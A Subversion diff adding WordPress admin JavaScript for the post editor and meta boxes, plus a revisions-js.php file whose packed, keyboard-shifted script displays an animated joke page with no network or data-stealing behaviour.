+	$('#newcat').one( 'focus', function() { $(this).val( '' ).removeClass( 'form-input-tip' ) } );
+	$('#category-add-sumbit').click(function(){$('#newcat').focus();});
+
+	syncChecks = function() {
+		if ( noSyncChecks )
+			return;
+		noSyncChecks = true;
+		var th = jQuery(this), c = th.is(':checked'), id = th.val().toString();
+		$('#in-category-' + id + ', #in-popular-category-' + id).attr( 'checked', c );
+		noSyncChecks = false;
+	};
+
+	popularCats = $('#categorychecklist-pop :checkbox').map( function() { return parseInt(jQuery(this).val(), 10); } ).get().join(',');
+	catAddBefore = function( s ) {
+		if ( !$('#newcat').val() )
+			return false;
+		s.data += '&popular_ids=' + popularCats + '&' + jQuery( '#categorychecklist :checked' ).serialize();
+		return s;
+	};
+
+	catAddAfter = function( r, s ) {
+		var newCatParent = jQuery('#newcat_parent'), newCatParentOption = newCatParent.find( 'option[value="-1"]' );
+		$(s.what + ' response_data', r).each( function() {
+			var t = $($(this).text());
+			t.find( 'label' ).each( function() {
+				var th = $(this), val = th.find('input').val(), id = th.find('input')[0].id, name, o;
+				$('#' + id).change( syncChecks ).change();
+				if ( newCatParent.find( 'option[value="' + val + '"]' ).size() )
+					return;
+				name = $.trim( th.text() );
+				o = $( '<option value="' +  parseInt( val, 10 ) + '"></option>' ).text( name );
+				newCatParent.prepend( o );
+			} );
+			newCatParentOption.attr( 'selected', 'selected' );
+		} );
+	};
+
+	$('#categorychecklist').wpList( {
+		alt: '',
+		response: 'category-ajax-response',
+		addBefore: catAddBefore,
+		addAfter: catAddAfter
+	} );
+
+	$('#category-add-toggle').click( function() {
+		$('#category-adder').toggleClass( 'wp-hidden-children' );
+		$('#category-tabs a[href="#categories-all"]').click();
+		return false;
+	} );
+
+	$('.categorychecklist .popular-category :checkbox').change( syncChecks ).filter( ':checked' ).change(), sticky = '';
+
+	function updateVisibility() {
+		if ( $('#post-visibility-select input:radio:checked').val() != 'public' ) {
+			$('#sticky').attr('checked', false);
+			$('#sticky-span').hide();
+		} else {
+			$('#sticky-span').show();
+		}
+		if ( $('#post-visibility-select input:radio:checked').val() != 'password' ) {
+			$('#password-span').hide();
+		} else {
+			$('#password-span').show();
+		}
+	}
+
+	function updateText() {
+		var attemptedDate, originalDate, currentDate, publishOn;
+
+		attemptedDate = new Date( $('#aa').val(), $('#mm').val() -1, $('#jj').val(), $('#hh').val(), $('#mn').val());
+		originalDate = new Date( $('#hidden_aa').val(), $('#hidden_mm').val() -1, $('#hidden_jj').val(), $('#hidden_hh').val(), $('#hidden_mn').val());
+		currentDate = new Date( $('#cur_aa').val(), $('#cur_mm').val() -1, $('#cur_jj').val(), $('#cur_hh').val(), $('#cur_mn').val());
+		if ( attemptedDate > currentDate && $('#original_post_status').val() != 'future' ) {
+			publishOn = postL10n.publishOnFuture;
+			$('#publish').val( postL10n.schedule );
+		} else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) {
+			publishOn = postL10n.publishOn;
+			$('#publish').val( postL10n.publish );
+		} else {
+			publishOn = postL10n.publishOnPast;
+			$('#publish').val( postL10n.update );
+		}
+		if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) { //hack
+			$('#timestamp').html(stamp);
+		} else {
+			$('#timestamp').html(
+				publishOn + ' <b>' +
+				$( '#mm option[value=' + $('#mm').val() + ']' ).text() + ' ' +
+				$('#jj').val() + ', ' +
+				$('#aa').val() + ' @ ' +
+				$('#hh').val() + ':' +
+				$('#mn').val() + '</b> '
+			);
+		}
+
+		if ( $('#post-visibility-select input:radio:checked').val() == 'private' ) {
+			$('#publish').val( postL10n.update );
+			if ( $('#post_status option[value=publish]').length == 0 ) {
+				$('#post_status').append('<option value="publish">' + postL10n.privatelyPublished + '</option>');
+			}
+			$('#post_status option[value=publish]').html( postL10n.privatelyPublished );
+			$('#post_status option[value=publish]').attr('selected', true);
+			$('.edit-post-status').hide();
+		} else {
+			if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) {
+				if ( $('#post_status option[value=publish]').length != 0 ) {
+					$('#post_status option[value=publish]').remove();
+					$('#post_status').val($('#hidden_post_status').val());
+				}
+			} else {
+				$('#post_status option[value=publish]').html( postL10n.published );
+			}
+			$('.edit-post-status').show();
+		}
+		$('#post-status-display').html($('#post_status :selected').text());
+		if ( $('#post_status :selected').val() == 'private' || $('#post_status :selected').val() == 'publish' ) {
+			$('#save-post').hide();
+		} else {
+			$('#save-post').show();
+			if ( $('#post_status :selected').val() == 'pending' ) {
+				$('#save-post').show().val( postL10n.savePending );
+			} else {
+				$('#save-post').show().val( postL10n.saveDraft );
+			}
+		}
+	}
+
+	$('.edit-visibility').click(function () {
+		if ($('#post-visibility-select').is(":hidden")) {
+			updateVisibility();
+			$('#post-visibility-select').slideDown("normal");
+			$('.edit-visibility').hide();
+		}
+		return false;
+	});
+
+	$('.cancel-post-visibility').click(function () {
+		$('#post-visibility-select').slideUp("normal");
+		$('#visibility-radio-' + $('#hidden-post-visibility').val()).attr('checked', true);
+		$('#post_password').val($('#hidden_post_password').val());
+		$('#sticky').attr('checked', $('#hidden-post-sticky').attr('checked'));
+		$('#post-visibility-display').html(visibility);
+		$('.edit-visibility').show();
+		updateText();
+		return false;
+	});
+
+	$('.save-post-visibility').click(function () { // crazyhorse - multiple ok cancels
+		$('#post-visibility-select').slideUp("normal");
+		$('.edit-visibility').show();
+		updateText();
+		if ( $('#post-visibility-select input:radio:checked').val() != 'public' ) {
+			$('#sticky').attr('checked', false);
+		}
+
+		if ( true == $('#sticky').attr('checked') ) {
+			sticky = 'Sticky';
+		} else {
+			sticky = '';
+		}
+
+		$('#post-visibility-display').html(
+			postL10n[$('#post-visibility-select input:radio:checked').val() + sticky]
+		);
+
+		return false;
+	});
+
+	$('#post-visibility-select input:radio').change(function() {
+		updateVisibility();
+	});
+
+	$('.edit-timestamp').click(function () {
+		if ($('#timestampdiv').is(":hidden")) {
+			$('#timestampdiv').slideDown("normal");
+			$('.edit-timestamp').hide();
+		}
+
+		return false;
+	});
+
+	$('.cancel-timestamp').click(function() {
+		$('#timestampdiv').slideUp("normal");
+		$('#mm').val($('#hidden_mm').val());
+		$('#jj').val($('#hidden_jj').val());
+		$('#aa').val($('#hidden_aa').val());
+		$('#hh').val($('#hidden_hh').val());
+		$('#mn').val($('#hidden_mn').val());
+		$('.edit-timestamp').show();
+		updateText();
+		return false;
+	});
+
+	$('.save-timestamp').click(function () { // crazyhorse - multiple ok cancels
+		$('#timestampdiv').slideUp("normal");
+		$('.edit-timestamp').show();
+		updateText();
+
+		return false;
+	});
+
+	$('.edit-post-status').click(function() {
+		if ($('#post-status-select').is(":hidden")) {
+			$('#post-status-select').slideDown("normal");
+			$(this).hide();
+		}
+
+		return false;
+	});
+
+	$('.save-post-status').click(function() {
+		$('#post-status-select').slideUp("normal");
+		$('.edit-post-status').show();
+		updateText();
+		return false;
+	});
+
+	$('.cancel-post-status').click(function() {
+		$('#post-status-select').slideUp("normal");
+		$('#post_status').val($('#hidden_post_status').val());
+		$('.edit-post-status').show();
+		updateText();
+		return false;
+	});
+
+	// Custom Fields
+	$('#the-list').wpList( { addAfter: function( xml, s ) {
+		$('table#list-table').show();
+		if ( typeof( autosave_update_post_ID ) != 'undefined' ) {
+			autosave_update_post_ID(s.parsed.responses[0].supplemental.postid);
+		}
+	}, addBefore: function( s ) {
+		s.data += '&post_id=' + $('#post_ID').val();
+		return s;
+	}
+	});
+});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/post.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/post.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/post.js	(revision 44)
@@ -0,0 +1,1 @@
+function array_unique_noempty(b){var c=[];jQuery.each(b,function(a,d){d=jQuery.trim(d);if(d&&jQuery.inArray(d,c)==-1){c.push(d)}});return c}function new_tag_remove_tag(){var e=jQuery(this).attr("id"),a=e.split("-check-num-")[1],c=jQuery(this).parents(".tagsdiv"),b=c.find(".the-tags").val().split(","),d=[];delete b[a];jQuery.each(b,function(f,g){g=jQuery.trim(g);if(g){d.push(g)}});c.find(".the-tags").val(d.join(",").replace(/\s*,+\s*/,",").replace(/,+/,",").replace(/,+\s+,+/,",").replace(/,+\s*$/,"").replace(/^\s*,+/,""));tag_update_quickclicks(c);return false}function tag_update_quickclicks(b){if(jQuery(b).find(".the-tags").length==0){return}var a=jQuery(b).find(".the-tags").val().split(",");jQuery(b).find(".tagchecklist").empty();shown=false;jQuery.each(a,function(e,f){var c,d;f=jQuery.trim(f);if(!f.match(/^\s+$/)&&""!=f){d=jQuery(b).attr("id")+"-check-num-"+e;c='<span><a id="'+d+'" class="ntdelbutton">X</a>&nbsp;'+f+"</span> ";jQuery(b).find(".tagchecklist").append(c);jQuery("#"+d).click(new_tag_remove_tag)}});if(shown){jQuery(b).find(".tagchecklist").prepend("<strong>"+postL10n.tagsUsed+"</strong><br />")}}function tag_flush_to_text(g,b){b=b||false;var e,f,c,d;e=jQuery("#"+g);f=b?jQuery(b).text():e.find("input.newtag").val();if(e.find("input.newtag").hasClass("form-input-tip")&&!b){return false}c=e.find(".the-tags").val();d=c?c+","+f:f;d=d.replace(/\s+,+\s*/g,",").replace(/,+/g,",").replace(/,+\s+,+/g,",").replace(/,+\s*$/g,"").replace(/^\s*,+/g,"");d=array_unique_noempty(d.split(",")).join(",");e.find(".the-tags").val(d);tag_update_quickclicks(e);if(!b){e.find("input.newtag").val("").focus()}return false}function tag_save_on_publish(){jQuery(".tagsdiv").each(function(a){if(!jQuery(this).find("input.newtag").hasClass("form-input-tip")){tag_flush_to_text(jQuery(this).parents(".tagsdiv").attr("id"))}})}function tag_press_key(a){if(13==a.which){tag_flush_to_text(jQuery(a.target).parents(".tagsdiv").attr("id"));return false}}function tag_init(){jQuery(".ajaxtag").show();jQuery(".tagsdiv").each(function(a){tag_update_quickclicks(this)});jQuery(".ajaxtag input.tagadd").click(function(){tag_flush_to_text(jQuery(this).parents(".tagsdiv").attr("id"))});jQuery(".ajaxtag input.newtag").focus(function(){if(!this.cleared){this.cleared=true;jQuery(this).val("").removeClass("form-input-tip")}});jQuery(".ajaxtag input.newtag").blur(function(){if(this.value==""){this.cleared=false;jQuery(this).val(postL10n.addTag).addClass("form-input-tip")}});jQuery("#publish").click(tag_save_on_publish);jQuery("#save-post").click(tag_save_on_publish);jQuery(".ajaxtag input.newtag").keypress(tag_press_key)}var commentsBox,tagCloud;(function(a){commentsBox={st:0,get:function(d,c){var b=this.st,e;if(!c){c=20}this.st+=c;this.total=d;a("#commentsdiv img.waiting").show();e={action:"get-comments",mode:"single",_ajax_nonce:a("#add_comment_nonce").val(),post_ID:a("#post_ID").val(),start:b,num:c};a.post(ajaxurl,e,function(f){f=wpAjax.parseAjaxResponse(f);a("#commentsdiv .widefat").show();a("#commentsdiv img.waiting").hide();if("object"==typeof f&&f.responses[0]){a("#the-comment-list").append(f.responses[0].data);theList=theExtraList=null;a("a[className*=':']").unbind();setCommentsList();if(commentsBox.st>commentsBox.total){a("#show-comments").hide()}else{a("#show-comments").html(postL10n.showcomm)}return}else{if(1==f){a("#show-comments").parent().html(postL10n.endcomm);return}}a("#the-comment-list").append('<tr><td colspan="5">'+wpAjax.broken+"</td></tr>")});return false}};tagCloud={init:function(){a(".tagcloud-link").click(function(){tagCloud.get(a(this).attr("id"));a(this).unbind().click(function(){a(this).siblings(".the-tagcloud").toggle();return false});return false})},get:function(c){var b=c.substr(c.indexOf("-")+1);a.post(ajaxurl,{action:"get-tagcloud",tax:b},function(e,d){if(0==e||"success"!=d){e=wpAjax.broken}e=a('<p id="tagcloud-'+b+'" class="the-tagcloud">'+e+"</p>");a("a",e).click(function(){var f=a(this).parents("p").attr("id");tag_flush_to_text(f.substr(f.indexOf("-")+1),this);return false});a("#"+c).after(e)})}};a(document).ready(function(){tagCloud.init()})})(jQuery);jQuery(document).ready(function(g){var d=false,i,e,a=g("#timestamp").html(),b=g("#post-visibility-display").html(),h="";postboxes.add_postbox_toggles("post");make_slugedit_clickable();tag_init();g("#title").blur(function(){if((g("#post_ID").val()>0)||(g("#title").val().length==0)){return}if(typeof(autosave)!="undefined"){autosave()}});g(".newtag").each(function(){var j=g(this).parents("div.tagsdiv").attr("id");g(this).suggest("admin-ajax.php?action=ajax-tag-search&tax="+j,{delay:500,minchars:2,multiple:true,multipleSep:", "})});g("#category-tabs a").click(function(){var j=g(this).attr("href");g(this).parent().addClass("tabs").siblings("li").removeClass("tabs");g(".tabs-panel").hide();g(j).show();if("#categories-all"==j){deleteUserSetting("cats")}else{setUserSetting("cats","pop")}return false});if(getUserSetting("cats")){g('#category-tabs a[href="#categories-pop"]').click()}g("#newcat").one("focus",function(){g(this).val("").removeClass("form-input-tip")});g("#category-add-sumbit").click(function(){g("#newcat").focus()});i=function(){if(d){return}d=true;var j=jQuery(this),l=j.is(":checked"),k=j.val().toString();g("#in-category-"+k+", #in-popular-category-"+k).attr("checked",l);d=false};popularCats=g("#categorychecklist-pop :checkbox").map(function(){return parseInt(jQuery(this).val(),10)}).get().join(",");catAddBefore=function(j){if(!g("#newcat").val()){return false}j.data+="&popular_ids="+popularCats+"&"+jQuery("#categorychecklist :checked").serialize();return j};e=function(m,k){var j=jQuery("#newcat_parent"),l=j.find('option[value="-1"]');g(k.what+" response_data",m).each(function(){var n=g(g(this).text());n.find("label").each(function(){var q=g(this),s=q.find("input").val(),t=q.find("input")[0].id,p,r;g("#"+t).change(i).change();if(j.find('option[value="'+s+'"]').size()){return}p=g.trim(q.text());r=g('<option value="'+parseInt(s,10)+'"></option>').text(p);j.prepend(r)});l.attr("selected","selected")})};g("#categorychecklist").wpList({alt:"",response:"category-ajax-response",addBefore:catAddBefore,addAfter:e});g("#category-add-toggle").click(function(){g("#category-adder").toggleClass("wp-hidden-children");g('#category-tabs a[href="#categories-all"]').click();return false});g(".categorychecklist .popular-category :checkbox").change(i).filter(":checked").change(),h="";function f(){if(g("#post-visibility-select input:radio:checked").val()!="public"){g("#sticky").attr("checked",false);g("#sticky-span").hide()}else{g("#sticky-span").show()}if(g("#post-visibility-select input:radio:checked").val()!="password"){g("#password-span").hide()}else{g("#password-span").show()}}function c(){var j,l,k,m;j=new Date(g("#aa").val(),g("#mm").val()-1,g("#jj").val(),g("#hh").val(),g("#mn").val());l=new Date(g("#hidden_aa").val(),g("#hidden_mm").val()-1,g("#hidden_jj").val(),g("#hidden_hh").val(),g("#hidden_mn").val());k=new Date(g("#cur_aa").val(),g("#cur_mm").val()-1,g("#cur_jj").val(),g("#cur_hh").val(),g("#cur_mn").val());if(j>k&&g("#original_post_status").val()!="future"){m=postL10n.publishOnFuture;g("#publish").val(postL10n.schedule)}else{if(j<=k&&g("#original_post_status").val()!="publish"){m=postL10n.publishOn;g("#publish").val(postL10n.publish)}else{m=postL10n.publishOnPast;g("#publish").val(postL10n.update)}}if(l.toUTCString()==j.toUTCString()){g("#timestamp").html(a)}else{g("#timestamp").html(m+" <b>"+g("#mm option[value="+g("#mm").val()+"]").text()+" "+g("#jj").val()+", "+g("#aa").val()+" @ "+g("#hh").val()+":"+g("#mn").val()+"</b> ")}if(g("#post-visibility-select input:radio:checked").val()=="private"){g("#publish").val(postL10n.update);if(g("#post_status option[value=publish]").length==0){g("#post_status").append('<option value="publish">'+postL10n.privatelyPublished+"</option>")}g("#post_status option[value=publish]").html(postL10n.privatelyPublished);g("#post_status option[value=publish]").attr("selected",true);g(".edit-post-status").hide()}else{if(g("#original_post_status").val()=="future"||g("#original_post_status").val()=="draft"){if(g("#post_status option[value=publish]").length!=0){g("#post_status option[value=publish]").remove();g("#post_status").val(g("#hidden_post_status").val())}}else{g("#post_status option[value=publish]").html(postL10n.published)}g(".edit-post-status").show()}g("#post-status-display").html(g("#post_status :selected").text());if(g("#post_status :selected").val()=="private"||g("#post_status :selected").val()=="publish"){g("#save-post").hide()}else{g("#save-post").show();if(g("#post_status :selected").val()=="pending"){g("#save-post").show().val(postL10n.savePending)}else{g("#save-post").show().val(postL10n.saveDraft)}}}g(".edit-visibility").click(function(){if(g("#post-visibility-select").is(":hidden")){f();g("#post-visibility-select").slideDown("normal");g(".edit-visibility").hide()}return false});g(".cancel-post-visibility").click(function(){g("#post-visibility-select").slideUp("normal");g("#visibility-radio-"+g("#hidden-post-visibility").val()).attr("checked",true);g("#post_password").val(g("#hidden_post_password").val());g("#sticky").attr("checked",g("#hidden-post-sticky").attr("checked"));g("#post-visibility-display").html(b);g(".edit-visibility").show();c();return false});g(".save-post-visibility").click(function(){g("#post-visibility-select").slideUp("normal");g(".edit-visibility").show();c();if(g("#post-visibility-select input:radio:checked").val()!="public"){g("#sticky").attr("checked",false)}if(true==g("#sticky").attr("checked")){h="Sticky"}else{h=""}g("#post-visibility-display").html(postL10n[g("#post-visibility-select input:radio:checked").val()+h]);return false});g("#post-visibility-select input:radio").change(function(){f()});g(".edit-timestamp").click(function(){if(g("#timestampdiv").is(":hidden")){g("#timestampdiv").slideDown("normal");g(".edit-timestamp").hide()}return false});g(".cancel-timestamp").click(function(){g("#timestampdiv").slideUp("normal");g("#mm").val(g("#hidden_mm").val());g("#jj").val(g("#hidden_jj").val());g("#aa").val(g("#hidden_aa").val());g("#hh").val(g("#hidden_hh").val());g("#mn").val(g("#hidden_mn").val());g(".edit-timestamp").show();c();return false});g(".save-timestamp").click(function(){g("#timestampdiv").slideUp("normal");g(".edit-timestamp").show();c();return false});g(".edit-post-status").click(function(){if(g("#post-status-select").is(":hidden")){g("#post-status-select").slideDown("normal");g(this).hide()}return false});g(".save-post-status").click(function(){g("#post-status-select").slideUp("normal");g(".edit-post-status").show();c();return false});g(".cancel-post-status").click(function(){g("#post-status-select").slideUp("normal");g("#post_status").val(g("#hidden_post_status").val());g(".edit-post-status").show();c();return false});g("#the-list").wpList({addAfter:function(j,k){g("table#list-table").show();if(typeof(autosave_update_post_ID)!="undefined"){autosave_update_post_ID(k.parsed.responses[0].supplemental.postid)}},addBefore:function(j){j.data+="&post_id="+g("#post_ID").val();return j}})});
Index: /trunk/www.guidonia.net/wp/wp-admin/js/postbox.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/postbox.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/postbox.dev.js	(revision 44)
@@ -0,0 +1,148 @@
+var postboxes;
+(function($) {
+	postboxes = {
+		add_postbox_toggles : function(page,args) {
+			this.init(page,args);
+			$('.postbox h3, .postbox .handlediv').click( function() {
+				var p = $(this).parent('.postbox'), id = p.attr('id');
+				p.toggleClass('closed');
+				postboxes.save_state(page);
+				if ( id ) {
+					if ( !p.hasClass('closed') && $.isFunction(postboxes.pbshow) )
+						postboxes.pbshow(id);
+					else if ( p.hasClass('closed') && $.isFunction(postboxes.pbhide) )
+						postboxes.pbhide(id);
+				}
+			} );
+			$('.postbox h3 a').click( function(e) {
+				e.stopPropagation();
+			} );
+			$('.hide-postbox-tog').click( function() {
+				var box = $(this).val();
+				if ( $(this).attr('checked') ) {
+					$('#' + box).show();
+					if ( $.isFunction( postboxes.pbshow ) )
+						postboxes.pbshow( box );
+				} else {
+					$('#' + box).hide();
+					if ( $.isFunction( postboxes.pbhide ) )
+						postboxes.pbhide( box );
+				}
+				postboxes.save_state(page);
+			} );
+			$('.columns-prefs input[type="radio"]').click(function(){
+				var num = $(this).val(), i, el, p = $('#poststuff');
+
+				if ( p.length ) { // write pages
+					if ( num == 2 ) {
+						p.addClass('has-right-sidebar');
+						$('#side-sortables').addClass('temp-border');
+					} else if ( num == 1 ) {
+						p.removeClass('has-right-sidebar');
+						$('#normal-sortables').append($('#side-sortables').children('.postbox'));
+					}
+				} else { // dashboard
+					for ( i = 4; ( i > num && i > 1 ); i-- ) {
+						el = $('#' + colname(i) + '-sortables');
+						$('#' + colname(i-1) + '-sortables').append(el.children('.postbox'));
+						el.parent().hide();
+					}
+					for ( i = 1; i <= num; i++ ) {
+						el = $('#' + colname(i) + '-sortables');
+						if ( el.parent().is(':hidden') )
+							el.addClass('temp-border').parent().show();
+					}
+					$('.postbox-container:visible').css('width', 98/num + '%');
+				}
+				postboxes.save_order(page);
+			});
+
+			function colname(n) {
+				switch (n) {
+					case 1:
+						return 'normal';
+						break
+					case 2:
+						return 'side';
+						break
+					case 3:
+						return 'column3';
+						break
+					case 4:
+						return 'column4';
+						break
+					default:
+						return '';
+				}
+			}
+		},
+
+		init : function(page, args) {
+			$.extend( this, args || {} );
+			$('#wpbody-content').css('overflow','hidden');
+			$('.meta-box-sortables').sortable({
+				placeholder: 'sortable-placeholder',
+				connectWith: '.meta-box-sortables',
+				items: '.postbox',
+				handle: '.hndle',
+				cursor: 'move',
+				distance: 2,
+				tolerance: 'pointer',
+				forcePlaceholderSize: true,
+				helper: 'clone',
+				opacity: 0.65,
+				start: function(e,ui) {
+					$('body').css({
+						WebkitUserSelect: 'none',
+						KhtmlUserSelect: 'none'
+					});
+					/*
+					if ( $.browser.msie )
+						return;
+					ui.item.addClass('noclick');
+					*/
+				},
+				stop: function(e,ui) {
+					postboxes.save_order(page);
+					ui.item.parent().removeClass('temp-border');
+					$('body').css({
+						WebkitUserSelect: '',
+						KhtmlUserSelect: ''
+					});
+				}
+			});
+		},
+
+		save_state : function(page) {
+			var closed = $('.postbox').filter('.closed').map(function() { return this.id; }).get().join(','),
+			hidden = $('.postbox').filter(':hidden').map(function() { return this.id; }).get().join(',');
+			$.post(postboxL10n.requestFile, {
+				action: 'closed-postboxes',
+				closed: closed,
+				hidden: hidden,
+				closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
+				page: page
+			});
+		},
+
+		save_order : function(page) {
+			var postVars, page_columns = $('.columns-prefs input:checked').val() || 0;
+			postVars = {
+				action: 'meta-box-order',
+				_ajax_nonce: $('#meta-box-order-nonce').val(),
+				page_columns: page_columns,
+				page: page
+			}
+			$('.meta-box-sortables').each( function() {
+				postVars["order[" + this.id.split('-')[0] + "]"] = $(this).sortable( 'toArray' ).join(',');
+			} );
+			$.post( postboxL10n.requestFile, postVars );
+		},
+
+		/* Callbacks */
+		pbshow : false,
+
+		pbhide : false
+	};
+
+}(jQuery));
Index: /trunk/www.guidonia.net/wp/wp-admin/js/postbox.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/postbox.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/postbox.js	(revision 44)
@@ -0,0 +1,1 @@
+var postboxes;(function(a){postboxes={add_postbox_toggles:function(c,b){this.init(c,b);a(".postbox h3, .postbox .handlediv").click(function(){var e=a(this).parent(".postbox"),f=e.attr("id");e.toggleClass("closed");postboxes.save_state(c);if(f){if(!e.hasClass("closed")&&a.isFunction(postboxes.pbshow)){postboxes.pbshow(f)}else{if(e.hasClass("closed")&&a.isFunction(postboxes.pbhide)){postboxes.pbhide(f)}}}});a(".postbox h3 a").click(function(f){f.stopPropagation()});a(".hide-postbox-tog").click(function(){var e=a(this).val();if(a(this).attr("checked")){a("#"+e).show();if(a.isFunction(postboxes.pbshow)){postboxes.pbshow(e)}}else{a("#"+e).hide();if(a.isFunction(postboxes.pbhide)){postboxes.pbhide(e)}}postboxes.save_state(c)});a('.columns-prefs input[type="radio"]').click(function(){var e=a(this).val(),f,g,h=a("#poststuff");if(h.length){if(e==2){h.addClass("has-right-sidebar");a("#side-sortables").addClass("temp-border")}else{if(e==1){h.removeClass("has-right-sidebar");a("#normal-sortables").append(a("#side-sortables").children(".postbox"))}}}else{for(f=4;(f>e&&f>1);f--){g=a("#"+d(f)+"-sortables");a("#"+d(f-1)+"-sortables").append(g.children(".postbox"));g.parent().hide()}for(f=1;f<=e;f++){g=a("#"+d(f)+"-sortables");if(g.parent().is(":hidden")){g.addClass("temp-border").parent().show()}}a(".postbox-container:visible").css("width",98/e+"%")}postboxes.save_order(c)});function d(e){switch(e){case 1:return"normal";break;case 2:return"side";break;case 3:return"column3";break;case 4:return"column4";break;default:return""}}},init:function(c,b){a.extend(this,b||{});a("#wpbody-content").css("overflow","hidden");a(".meta-box-sortables").sortable({placeholder:"sortable-placeholder",connectWith:".meta-box-sortables",items:".postbox",handle:".hndle",cursor:"move",distance:2,tolerance:"pointer",forcePlaceholderSize:true,helper:"clone",opacity:0.65,start:function(f,d){a("body").css({WebkitUserSelect:"none",KhtmlUserSelect:"none"})},stop:function(f,d){postboxes.save_order(c);d.item.parent().removeClass("temp-border");a("body").css({WebkitUserSelect:"",KhtmlUserSelect:""})}})},save_state:function(d){var b=a(".postbox").filter(".closed").map(function(){return this.id}).get().join(","),c=a(".postbox").filter(":hidden").map(function(){return this.id}).get().join(",");a.post(postboxL10n.requestFile,{action:"closed-postboxes",closed:b,hidden:c,closedpostboxesnonce:jQuery("#closedpostboxesnonce").val(),page:d})},save_order:function(c){var b,d=a(".columns-prefs input:checked").val()||0;b={action:"meta-box-order",_ajax_nonce:a("#meta-box-order-nonce").val(),page_columns:d,page:c};a(".meta-box-sortables").each(function(){b["order["+this.id.split("-")[0]+"]"]=a(this).sortable("toArray").join(",")});a.post(postboxL10n.requestFile,b)},pbshow:false,pbhide:false}}(jQuery));
Index: /trunk/www.guidonia.net/wp/wp-admin/js/revisions-js.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/revisions-js.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/revisions-js.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php
+
+if ( !defined( 'ABSPATH' ) )
+	exit;
+
+/** @ignore */
+function dvortr( $str ) {
+	return strtr(
+		$str,
+		'\',.pyfgcrl/=\\aoeuidhtns-;qjkxbmwvz"<>PYFGCRL?+|AOEUIDHTNS_:QJKXBMWVZ[]',
+		'qwertyuiop[]\\asdfghjkl;\'zxcvbnm,./QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?-='
+	);
+}
+
+$j = esc_url( site_url( '/wp-includes/js/jquery/jquery.js' ) );
+$n = esc_html( $GLOBALS['current_user']->data->display_name );
+$d = str_replace( '$', $redirect, dvortr( "Erb-y n.y ydco dall.b aiacbv Wa ce]-irxajt- dp.u]-$-VIr XajtWzaVv" ) );
+
+wp_die( <<<EOEE
+<style type="text/css">
+html body { font-family: courier, monospace; }
+#hal { text-decoration: blink; }
+</style>
+<script type="text/javascript" src="$j"></script>
+<script type="text/javascript">
+/* <![CDATA[ */
+var n = '$n';
+eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return p}('6(4(){2 e=6(\\'#Q\\').v();2 i=\\'\\\\\\',.R/=\\\\\\\\S-;T"<>U?+|V:W[]X{}\\'.u(\\'\\');2 o=\\'Y[]\\\\\\\\Z;\\\\\\'10,./11{}|12:"13<>?-=14+\\'.u(\\'\\');2 5=4(s){r=\\'\\';6.15(s.u(\\'\\'),4(){2 t=16.D();2 c=6.17(t,i);r+=\\'\$\\'==t?n:(-1==c?t:o[c])});j r};2 a=[\\'O.E[18 e.y.19.1a\\',\\'1b 1c. 1d .1e.,1f 1g\\',\\'O.E e.1h 1i 8\\',\\'9\\',\\'0\\'];2 b=[\\'<1j. 1k \$1l\\',\\'1m. 1n 1o 1p\\',\\'1q, 1r. ,1s. 1t\\'];2 w=[];2 h=6(5(\\'#1u\\'));6(5(\\'1v\\')).1w(4(e){7(1x!==e.1y){j}7(x&&x.F){x.F();j G}1z.1A=6(5(\\'#1B\\')).1C(\\'1D\\');j G});2 k=4(){2 l=a.H();7(\\'I\\'==J l){7(m){2 c={};c[5(\\'1E\\')]=5(\\'1F\\');c[5(\\'1G\\')]=5(\\'1H..b\\');6(5(\\'1I 1J\\')).1K(c);p();h.v().1L({1M:1},z,\\'1N\\',4(){h.K()});d(m,L)}j}w=5(l).u(\\'\\');A()};2 A=4(){B=w.H();7(\\'I\\'==J B){7(m){h.M(5(\\'1O 1P\\'));d(k,C)}N{7(a.P){d(p,C);d(k,z)}N{d(4(){p();h.v()},C);d(4(){e.K()},L)}}j}h.M(B.D());d(A,1Q)};2 m=4(){a=b;m=1R;k()};p=4(){2 f=6(\\'p\\').1S(0);2 g=6.1T(f.q).1U();1V(2 g=f.q.P;g>0;g--){7(3==f.q[g-1].1W||\\'1X\\'==f.q[g-1].1Y.1Z()){f.20(f.q[g-1])}}};d(k,z)});',62,125,'||var||function|tr|jQuery|if||||||setTimeout||pp|ppp|||return|hal||hal3||||childNodes||||split|hide|ll|history||3000|hal2|lll|2000|toString|nu|back|false|shift|undefined|typeof|show|4000|before|else||length|noscript|pyfgcrl|aoeuidhtns|qjkxbmwvz|PYFGCRL|AOEUIDHTNS_|QJKXBMWVZ|1234567890|qwertyuiop|asdfghjkl|zxcvbnm|QWERTYUIOP|ASDFGHJKL|ZXCVBNM|0987654321_|each|this|inArray|jrmlapcorb|jy|ev|Cbcycaycbi|cbucbcy|nrrl|ojd|an|lpryrjrnv|oypgjy|cbvvv|at|glw|vvv|Yd|Maypcq|dao|frgvvv|Urnnr|yd|dcy|paxxcyv|dan|dymn|keypress|27|keyCode|window|location|irxajt|attr|href|xajtiprgbeJrnrp|xnajt|jrnrp|ip|dymnw|xref|css|animate|opacity|linear|Wxp|zV|100|null|get|makeArray|reverse|for|nodeType|br|nodeName|toLowerCase|removeChild'.split('|'),0,{}))
+/* ]]> */
+</script>
+<span id="noscript">$d</span>
+<blink id="hal">&#x258c;</blink>
+EOEE
+,
+dvortr( 'Eabi.p!' )
+);
